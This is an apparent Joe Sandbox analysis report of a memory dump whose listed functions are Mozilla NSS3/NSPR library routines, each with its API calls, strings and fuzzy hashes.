PR_DestroyCondVar.NSS3(?), ref: 6CF410BF
PR_DestroyCondVar.NSS3(?), ref: 6CF410CA
PR_DestroyCondVar.NSS3(?), ref: 6CF410D5
PR_DestroyCondVar.NSS3(?), ref: 6CF410E0
PR_DestroyLock.NSS3(?), ref: 6CF410EB
free.MOZGLUE(?), ref: 6CF41105

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 1036805149a04380ec9d1a7b960db96fb1f71e3635883f0e0fe8467cbef1e976
Instruction ID: 8ea58f1df34f80d2ecf8373bd2c068e072de9c37023d213417a9e2275d839b90
Opcode Fuzzy Hash: 1036805149a04380ec9d1a7b960db96fb1f71e3635883f0e0fe8467cbef1e976
Instruction Fuzzy Hash: E0318CB5D00801ABDB019F24EC41A45BB75BF41359B288238E80943F62E732F978DFD2

Function 6CDBDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDBDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CDBDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDBDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CDBDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDBDECD

Strings

database corruption, xrefs: 6CDBDF77, 6CDBDFE7
%s at line %d of [%.10s], xrefs: 6CDBDF7C, 6CDBDFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDBDF6D, 6CDBDFCC, 6CDBDFDD

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: ec80398475e90e72af6992fda8a1b74943ac4f712c7a6355f7e5cc3f993b4807
Instruction ID: 7667b494c7efed725b1dc78e9dd355506039bbfdc7edcbe14896310990e9df5c
Opcode Fuzzy Hash: ec80398475e90e72af6992fda8a1b74943ac4f712c7a6355f7e5cc3f993b4807
Instruction Fuzzy Hash: 03A1F8B1A083419FC710CF19C480A6AB7F5EF85318F15896DF8CAABB65D730E845CB91

Function 6CE7EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CE7EE0B

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7EEE1

Part of subcall function 6CE71D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CE71D7E
Part of subcall function 6CE71D50: EnterCriticalSection.KERNEL32(?), ref: 6CE71D8E
Part of subcall function 6CE71D50: PR_Unlock.NSS3(?), ref: 6CE71DD3

TlsGetValue.KERNEL32 ref: 6CE7EE51
EnterCriticalSection.KERNEL32(?), ref: 6CE7EE65
PR_Unlock.NSS3(?), ref: 6CE7EEA2
free.MOZGLUE(?), ref: 6CE7EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CE7EED0
PR_Unlock.NSS3(?), ref: 6CE7EF48
free.MOZGLUE(?), ref: 6CE7EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CE7EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CE7EFA4
free.MOZGLUE(?), ref: 6CE7EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE7F055
free.MOZGLUE(?), ref: 6CE7F060

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 1d028544dd9b54298c8717cf0c3ec8750d6856f3240e702481b6ffb86ad9071c
Instruction ID: fc3f36183f08750293d93d99fe9cbdf4e8773c4bf036a6ecc20d6724c83e9ade
Opcode Fuzzy Hash: 1d028544dd9b54298c8717cf0c3ec8750d6856f3240e702481b6ffb86ad9071c
Instruction Fuzzy Hash: A0815E71E00605AFDF109F64DC85BEE7BB5BF09318F250428E919A3B11E731A924CBA1

Function 6CE44CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE44D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE44D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE44DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE44E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE44E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE44E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE44E85
DER_Encode_Util.NSS3(?,?,6CF905A4,00000000), ref: 6CE44EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE44F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE44F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE44F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE44F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE44F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE44FC8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: a3b2f2050e75932d929f26ab9c22d7182dca099fd67df1e8c0bd22e43ce81f41
Instruction ID: c3aa74485425b2048c9fd348c9429fcd9db121b32fd6160119d5fa075e878fe3
Opcode Fuzzy Hash: a3b2f2050e75932d929f26ab9c22d7182dca099fd67df1e8c0bd22e43ce81f41
Instruction Fuzzy Hash: A2817F71A08301AFE701CF64E881B5AB7F4AB89358F24852EF959DB741E731E905CB92

Function 6CE85C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CE85C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CE85CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CE85CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CE85D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CE85D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE85D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CE85E18
TlsGetValue.KERNEL32 ref: 6CE85E5E
EnterCriticalSection.KERNEL32(?), ref: 6CE85E72
PR_Unlock.NSS3(?), ref: 6CE85E8B

Part of subcall function 6CE7F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE7F854
Part of subcall function 6CE7F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE7F868
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE7F882
Part of subcall function 6CE7F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE7F889
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE7F8A4
Part of subcall function 6CE7F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE7F8AB
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE7F8C9
Part of subcall function 6CE7F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE7F8D0

Strings

d, xrefs: 6CE85C36
tokens=[0x%x=<%s>], xrefs: 6CE85D3D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: ca2094353ad171ebcb1a2fc973fe5f5ab39da93179db1172b19d31d9e20d83b7
Instruction ID: 49ed00bcbd843aa80c31717f232c887e67337f69d690c2b776bed68372686789
Opcode Fuzzy Hash: ca2094353ad171ebcb1a2fc973fe5f5ab39da93179db1172b19d31d9e20d83b7
Instruction Fuzzy Hash: EE71C3B0E072019BFB019F24DC4576A7375AF4131CF744439EC1E9AB42EB36E919CAA2

Function 6CE78F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CE79582), ref: 6CE78F5B

Part of subcall function 6CE8BE30: SECOID_FindOID_Util.NSS3(6CE4311B,00000000,?,6CE4311B,?), ref: 6CE8BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CE78F6A

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE78FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CE78FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF5D820,6CE79576), ref: 6CE78FF9
DER_GetInteger_Util.NSS3(?), ref: 6CE7901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CE7903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE79062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CE790A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CE790CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CE790F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE7912D
free.MOZGLUE(00000000), ref: 6CE79136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE79145

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 2a624fbe7a30e0695d73b949a78f96ce297255f2a95f391ec31b5ed0753c5276
Instruction ID: 75fa8ff333a7774ec0e2f556d346685ffe24847da0308a5db6ef87c3130a9497
Opcode Fuzzy Hash: 2a624fbe7a30e0695d73b949a78f96ce297255f2a95f391ec31b5ed0753c5276
Instruction Fuzzy Hash: 655103B2A042009BE720CF28DC81B9BB7F4AF94318F25452DE959D7711E731E955CBE2

Function 6CE2AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE2AF47

Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90AB
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90C9
Part of subcall function 6CEF9090: EnterCriticalSection.KERNEL32 ref: 6CEF90E5
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9116
Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF913F

FreeLibrary.KERNEL32(?), ref: 6CE2AF6D
free.MOZGLUE(?), ref: 6CE2AFA4
free.MOZGLUE(?), ref: 6CE2AFAA
PR_ExitMonitor.NSS3 ref: 6CE2AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE2AFF5
PR_ExitMonitor.NSS3 ref: 6CE2B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE2B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE2B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE2B03C

Strings

Unloaded library %s, xrefs: 6CE2B023
%s decr => %d, xrefs: 6CE2AFF0

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: cff8384b479adca562af84872677f73a41a428491b465e59cfe694c3b0caf4a4
Instruction ID: 95eb3fd6263c13991c798326b7396ba470b08c1f4e876541efa779cbb14f7120
Opcode Fuzzy Hash: cff8384b479adca562af84872677f73a41a428491b465e59cfe694c3b0caf4a4
Instruction Fuzzy Hash: A231E3B6F44111ABEB119F64DC41B15B775EB0630CB398139E81687B01E33BE825CBA1

Function 6CE76C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE7781D,00000000,6CE6BE2C,?,6CE76B1D,?,?,?,?,00000000,00000000,6CE7781D), ref: 6CE76C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE7781D,?,6CE6BE2C,?), ref: 6CE76C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE7781D), ref: 6CE76C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE76C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE76C96

Part of subcall function 6CE21240: TlsGetValue.KERNEL32(00000040,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE21267
Part of subcall function 6CE21240: EnterCriticalSection.KERNEL32(?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE2127C
Part of subcall function 6CE21240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE21291
Part of subcall function 6CE21240: PR_Unlock.NSS3(?,?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE212A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE76CAA

Strings

extern:, xrefs: 6CE76C7E
dbm:, xrefs: 6CE76C3A
sql:, xrefs: 6CE76C52
NSS_DEFAULT_DB_TYPE, xrefs: 6CE76C91
dbm, xrefs: 6CE76CA4
rdb:, xrefs: 6CE76C69

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c07d4f5485f925156364a9bcf1971eeff499176e79c7296adb455b032e1ccef3
Instruction ID: febb7a11f29e9e2b832ee7437c8b19885bd38744b59d6f1ad89f0f7ee31ad8dc
Opcode Fuzzy Hash: c07d4f5485f925156364a9bcf1971eeff499176e79c7296adb455b032e1ccef3
Instruction Fuzzy Hash: F301A2A1B1230227EA6027797C4AF66356CDF4215CF340532FE08F1A85EA9BE91580B5

Function 6CE84E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE478F8), ref: 6CE84E6D

Part of subcall function 6CE209E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE206A2,00000000,?), ref: 6CE209F8
Part of subcall function 6CE209E0: malloc.MOZGLUE(0000001F), ref: 6CE20A18
Part of subcall function 6CE209E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE20A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE478F8), ref: 6CE84ED9

Part of subcall function 6CE75920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CE77703,?,00000000,00000000), ref: 6CE75942
Part of subcall function 6CE75920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CE77703), ref: 6CE75954
Part of subcall function 6CE75920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE7596A
Part of subcall function 6CE75920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE75984
Part of subcall function 6CE75920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CE75999
Part of subcall function 6CE75920: free.MOZGLUE(00000000), ref: 6CE759BA
Part of subcall function 6CE75920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CE759D3
Part of subcall function 6CE75920: free.MOZGLUE(00000000), ref: 6CE759F5
Part of subcall function 6CE75920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CE75A0A
Part of subcall function 6CE75920: free.MOZGLUE(00000000), ref: 6CE75A2E
Part of subcall function 6CE75920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CE75A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE84EB3

Part of subcall function 6CE84820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CE84EB8,?,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE8484C
Part of subcall function 6CE84820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CE84EB8,?,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE8486D
Part of subcall function 6CE84820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CE84EB8,?), ref: 6CE84884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE84EC0

Part of subcall function 6CE84470: TlsGetValue.KERNEL32(00000000,?,6CE47296,00000000), ref: 6CE84487
Part of subcall function 6CE84470: EnterCriticalSection.KERNEL32(?,?,?,6CE47296,00000000), ref: 6CE844A0
Part of subcall function 6CE84470: PR_Unlock.NSS3(?,?,?,?,6CE47296,00000000), ref: 6CE844BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE84F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE84F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE84F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE84F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE84F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE84F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF5DCB0,00000000), ref: 6CE84FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CE8501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE478F8), ref: 6CE8506B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 12719d5011949993d64a3c67ad69b6354f2190ec798f14dc70991621b751e4ae
Instruction ID: a84a6dddcec048f01676323b018400d00ef26d8cc1906c5218366d9c09cc9d6a
Opcode Fuzzy Hash: 12719d5011949993d64a3c67ad69b6354f2190ec798f14dc70991621b751e4ae
Instruction Fuzzy Hash: E451D5B1D026059BEB11AF24EC05A9B76B8EF0531CF34463AEC0E56B12FB31D515CAD2

Function 6CE2ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE2ACE2
malloc.MOZGLUE(00000001), ref: 6CE2ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE2AD02
TlsGetValue.KERNEL32 ref: 6CE2AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE2AD8C
PR_Unlock.NSS3 ref: 6CE2ADC0
free.MOZGLUE(00000000), ref: 6CE2AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE2AE58
free.MOZGLUE(00000000), ref: 6CE2AE69
free.MOZGLUE(?), ref: 6CE2AE78
PR_Unlock.NSS3 ref: 6CE2AE8C
free.MOZGLUE(?), ref: 6CE2AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE2AEC7

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 1ad5d5092f2fc6bcf710ba531aa5cf200636dac7c0fc7962a06a5d9dccd6648a
Instruction ID: 5a2f8af2d4fefa16ae6914f560f782b45e582ba8470ec9dc1ee98ea9ce0b6392
